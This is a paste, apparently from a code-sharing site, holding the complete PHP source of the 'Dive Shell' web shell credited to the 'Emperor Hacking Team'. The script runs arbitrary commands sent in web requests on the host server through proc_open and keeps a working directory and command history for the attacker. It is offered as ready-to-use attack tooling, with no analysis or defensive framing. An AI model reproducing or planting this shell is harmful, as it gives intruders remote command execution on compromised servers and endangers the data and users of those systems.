emperor hacking shell


SUBMITTED BY: nabz

DATE: Jan. 25, 2017, 5:09 p.m.

FORMAT: Text only

SIZE: 5.3 kB

HITS: 160

  1. <?php
  2. /*Emperor Hacking TEAM */
  3. session_start();
  4. if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
  5. $_SESSION['cwd'] = getcwd();
  6. $_SESSION['history'] = array();
  7. $_SESSION['output'] = '';
  8. }
  9. if (!empty($_REQUEST['command'])) {
  10. if (get_magic_quotes_gpc()) {
  11. $_REQUEST['command'] = stripslashes($_REQUEST['command']);
  12. }
  13. if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
  14. unset($_SESSION['history'][$i]);
  15. array_unshift($_SESSION['history'], $_REQUEST['command']);
  16. $_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n";
  17. if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
  18. $_SESSION['cwd'] = dirname(__FILE__);
  19. } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {
  20. if ($regs[1][0] == '/') {
  21. $new_dir = $regs[1];
  22. } else {
  23. $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  24. }
  25. while (strpos($new_dir, '/./') !== false)
  26. $new_dir = str_replace('/./', '/', $new_dir);
  27. while (strpos($new_dir, '//') !== false)
  28. $new_dir = str_replace('//', '/', $new_dir);
  29. while (preg_match('|/\.\.(?!\.)|', $new_dir))
  30. $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  31. if ($new_dir == '') $new_dir = '/';
  32. if (@chdir($new_dir)) {
  33. $_SESSION['cwd'] = $new_dir;
  34. } else {
  35. $_SESSION['output'] .= "cd: could not change to: $new_dir\n";
  36. }
  37. } else {
  38. chdir($_SESSION['cwd']);
  39. $length = strcspn($_REQUEST['command'], " \t");
  40. $token = substr($_REQUEST['command'], 0, $length);
  41. if (isset($aliases[$token]))
  42. $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
  43. $p = proc_open($_REQUEST['command'],
  44. array(1 => array('pipe', 'w'),
  45. 2 => array('pipe', 'w')),
  46. $io);
  47. while (!feof($io[1])) {
  48. $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
  49. ENT_COMPAT, 'UTF-8');
  50. }
  51. while (!feof($io[2])) {
  52. $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
  53. ENT_COMPAT, 'UTF-8');
  54. }
  55. fclose($io[1]);
  56. fclose($io[2]);
  57. proc_close($p);
  58. }
  59. }
  60. if (empty($_SESSION['history'])) {
  61. $js_command_hist = '""';
  62. } else {
  63. $escaped = array_map('addslashes', $_SESSION['history']);
  64. $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
  65. }
  66. header('Content-Type: text/html; charset=UTF-8');
  67. echo '<?xml version="Dive.0.1" encoding="UTF-8"?>' . "\n";
  68. ?>
  69. <head>
  70.   <title>Dive Shell - Emperor Hacking Team</title>
  71.   <link rel="stylesheet" href="Simshell.css" type="text/css" />
  72. <script type="text/javascript" language="JavaScript">
  73. var current_line = 0;
  74. var command_hist = new Array(<?php echo $js_command_hist ?>);
  75. var last = 0;
  76. function key(e) {
  77. if (!e) var e = window.event;
  78. if (e.keyCode == 38 && current_line < command_hist.length-1) {
  79. command_hist[current_line] = document.shell.command.value;
  80. current_line++;
  81. document.shell.command.value = command_hist[current_line];
  82. }
  83. if (e.keyCode == 40 && current_line > 0) {
  84. command_hist[current_line] = document.shell.command.value;
  85. current_line--;
  86. document.shell.command.value = command_hist[current_line];
  87. }
  88. }
  89. function init() {
  90. document.shell.setAttribute("autocomplete", "off");
  91. document.shell.output.scrollTop = document.shell.output.scrollHeight;
  92. document.shell.command.focus();
  93. }
  94. </script>
  95. </head>
  96. <body onload="init()" style="color: #00FF00; background-color: #000000">
  97. <span style="background-color: #FFFFFF">
  98. </body>
  99. </body>
  100. </html>
  101. </span>
  102. <p><font color="#FF0000"><span style="background-color: #000000">&nbsp;Directory: </span> <code>
  103. <span style="background-color: #000000"><?php echo $_SESSION['cwd'] ?></span></code>
  104. </font></p>
  105. <form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST" style="border: 1px solid #808080">
  106. <div style="width: 989; height: 456">
  107.   <p align="center"><b>
  108.   <font color="#C0C0C0" face="Tahoma">Command:</font></b><input class="prompt" name="command" type="text"
  109.                 onkeyup="key(event)" size="88" tabindex="1" style="border: 4px double #C0C0C0; ">
  110.   <input type="submit" value="Submit" /> &nbsp;<font color="#0000FF">
  111.   </font>
  112.   &nbsp;<textarea name="output" readonly="readonly" cols="107" rows="22" style="color: #FFFFFF; background-color: #000000">
  113. <?php
  114. $lines = substr_count($_SESSION['output'], "\n");
  115. $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
  116. echo rtrim($padding . $_SESSION['output']);
  117. ?>
  118. </textarea> </p>
  119. <p class="prompt" align="center">
  120.   <b><font face="Tahoma" color="#C0C0C0">Rows:</font><font face="Tahoma" color="#0000FF" size="2"> </font></b>
  121.   <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" size="5" /></p>
  122. <p class="prompt" align="center">
  123.   <b><font color="#C0C0C0" face="SimSun">Edited By Emperor Hacking Team</font></b></p>
  124. <p class="prompt" align="center">
  125.   <font face="Tahoma" size="2" color="#808080">iM4n - FarHad - imm02tal - R$P</font><font color="#808080"><br>
  126. &nbsp;</font></p>
  127. </div>
  128. </form>
  129. <p class="prompt" align="center">
  130.   <b><font color="#000000">&nbsp;</font><font color="#000000" size="2"> </font>
  131.   </b></p>
  132. </html>

comments powered by Disqus